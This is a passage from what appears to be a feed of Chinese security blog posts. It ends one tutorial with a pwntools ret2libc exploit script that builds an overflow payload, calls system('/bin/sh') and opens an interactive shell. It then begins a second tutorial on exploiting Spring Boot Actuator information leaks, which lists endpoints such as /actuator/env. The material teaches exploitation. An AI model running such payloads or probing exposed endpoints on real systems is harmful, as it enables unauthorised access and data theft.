inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>    Write_libc.select_libc(select)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>    libcbase = write_got_int - Write_libc.dump(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;write&#39;</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>    system_addr = libcbase + Write_libc.dump(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;system&#39;</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>    binsh_addr = libcbase + Write_libc.dump(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;str_bin_sh&#39;</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;select:&#34;</span> + str(select) + <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;libc base:&#34;</span> + hex(libcbase) + <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;\n&#39;</span> + <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;systemaddr:&#34;</span> + hex(<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>        system_addr) + <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;\n&#34;</span> + <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;binshaddr:&#34;</span> + hex(binsh_addr) + <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;\n\n&#34;</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>    payload = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x28</span> * <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">b&#39;a&#39;</span> + p32(system_addr) + p32(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x0804848A</span>) + p32(binsh_addr)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">try</span>:<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>        conn.sendline(payload)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>        conn.sendline(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">b&#39;whoami&#39;</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>        print(conn.recv())<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span>        conn.interactive()<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">except</span>:<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">pass</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">其中用到了Pwntools模块，这里就不介绍了，百度很多文章。</p><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x05 参考</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p>[1]</p><p><a href="https://www.cnblogs.com/cloud-tree/p/11927485.html" target="_blank">https://www.cnblogs.com/cloud-tree/p/11927485.html</a></p><p>[2]</p><p><a href="https://blog.csdn.net/weixin_35126480/article/details/116857893" target="_blank">https://blog.csdn.net/weixin_35126480/article/details/116857893</a></p><p>[3]</p><p><a href="https://www.freesion.com/article/2356307462/" target="_blank">https://www.freesion.com/article/2356307462/</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;"><br/></p></section><p><br/></p>



<p><a href="2247486326">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4636c144&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486326%26idx%3D1%26sn%3D0b31137b45190e7aa003f27210b9233d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 06 Sep 2022 08:02:00 +0800</pubDate>
    </item>
    <item>
      <title>Springboot之Actuator信息泄露漏洞利用</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486318&amp;idx=1&amp;sn=c17294acd1449b8d4d609513c92ad43a</link>
      <description>Springboot之Actuator信息泄露漏洞利用</description>
      <content:encoded><![CDATA[<p>
原创 <span>Gat1ta</span> <span>2022-08-30 08:02</span> <span style="display: inline-block;">中国</span>
</p>

<p>Springboot之Actuator信息泄露漏洞利用</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8d387829&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrDibiaqicHcbzJIwib9rS6Jw8SJHKhRfiafRTiaEm43nO4pXgHkYIA3Vxicjtcw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 15px;color: rgb(62, 62, 62);line-height: 1.8;word-spacing: 2px;letter-spacing: 2px;font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;background-image: linear-gradient(90deg, rgba(50, 0, 0, 0.05) 3%, rgba(0, 0, 0, 0) 3%), linear-gradient(360deg, rgba(50, 0, 0, 0.05) 3%, rgba(0, 0, 0, 0) 3%);background-size: 20px 20px;background-position: center center;"><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x01 什么是Actuator</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">Spring Boot Actuator 模块提供了健康检查，审计，指标收集，HTTP 跟踪等，是帮助我们监控和管理Spring Boot 应用的模块。这个模块采集应用的内部信息，展现给外部模块，可以查看应用配置的详细信息，例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信息以及Web请求的详细信息等。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">如果没有正确使用Actuator，可能造成信息泄露等严重的安全隐患（外部人员非授权访问Actuator端点）。其中heapdump作为Actuator组件最为危险的Web端点，heapdump因未授权访问被恶意人员获取后进行分析，可进一步获取敏感信息。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">SpringBoot 1.x 和 2.x 的 Actuator模块设置有差别，访问功能的路径也有差别，但现在多使用的SpringBoot版本为2.x，这篇文章只讲SpringBoo 2.x Actuator模块带来的信息泄露。</p><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x02 Actuator 使用</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">如果要使用 SpringBoot Actuator 提供的监控功能，需要先加入相关的 maven dependency：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">dependency</span>&gt;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">groupId</span>&gt;</span>org.springframework.boot<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">groupId</span>&gt;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">artifactId</span>&gt;</span>spring-boot-starter-actuator<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">artifactId</span>&gt;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">version</span>&gt;</span>2.7.0<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">version</span>&gt;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">dependency</span>&gt;</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">只要加上了这个actuator依赖，SpringBoot 在运行时会自动开启/actuator/health和/actuator/info这两个 endpoint。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">为了更方便漏洞利用，当前环境在一个CMS中加入了该依赖，因为自己新建的Springboot项目没有配置数据库之类的信息。</p><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x03 Endpoints 介绍</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">Spring Boot 提供了所谓的 endpoints （下文翻译为端点）给外部来与应用程序进行访问和交互。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">打比方来说，/health 端点 提供了关于应用健康情况的一些基础信息。metrics 端点提供了一些有用的应用程序指标（JVM 内存使用、系统CPU使用等）。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">这些 Actuator 模块本来就有的端点我们称之为原生端点。根据端点的作用的话，我们大概可以分为三大类：</p><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">应用配置类：获取应用程序中加载的应用配置、环境变量、自动化配置报告等与Spring Boot应用密切相关的配置类信息。</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">度量指标类：获取应用程序运行过程中用于监控的度量指标，比如：内存信息、线程池信息、HTTP请求统计等。</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">操作控制类：提供了对应用的关闭等操作类功能。</span></p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">需要注意的就是：</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">每一个端点都可以通过配置来单独禁用或者启动</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">不同于Actuator 1.x，Actuator 2.x 的大多数端点默认被禁掉。Actuator 2.x 中的默认端点增加了/actuator前缀。默认暴露的两个端点为/actuator/health和 /actuator/info</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">原生端点如下：</p><table cellspacing="0"><tbody style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;"><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="84" height="57"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: #ffffff;">请求方法</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="152" height="57"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: #ffffff;">端点</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="338" height="57"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: #ffffff;">描述</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;word-break: break-all;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">查看有哪些 Actuator端点是开放的。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/auditevent</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">auditevents端点提供有关应用程序审计事件的信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/beans</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">beans端点提供有关应用程序 bean 的信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;word-break: break-all;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/conditions</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">conditions端点提供有关配置和自动配置类条件评估的信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/configprops</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">configprops端点提供有关应用程序@ConfigurationPropertiesbean的信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(223, 64, 42);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(223, 64, 42);font-size: 12px;">/actuator/env </span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(223, 64, 42);font-size: 12px;">查看全部环境属性，可以看到 SpringBoot 载入哪些 properties，以及 properties 的值（会自动用*替换 key、password、secret 等关键字的 properties 的值）。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 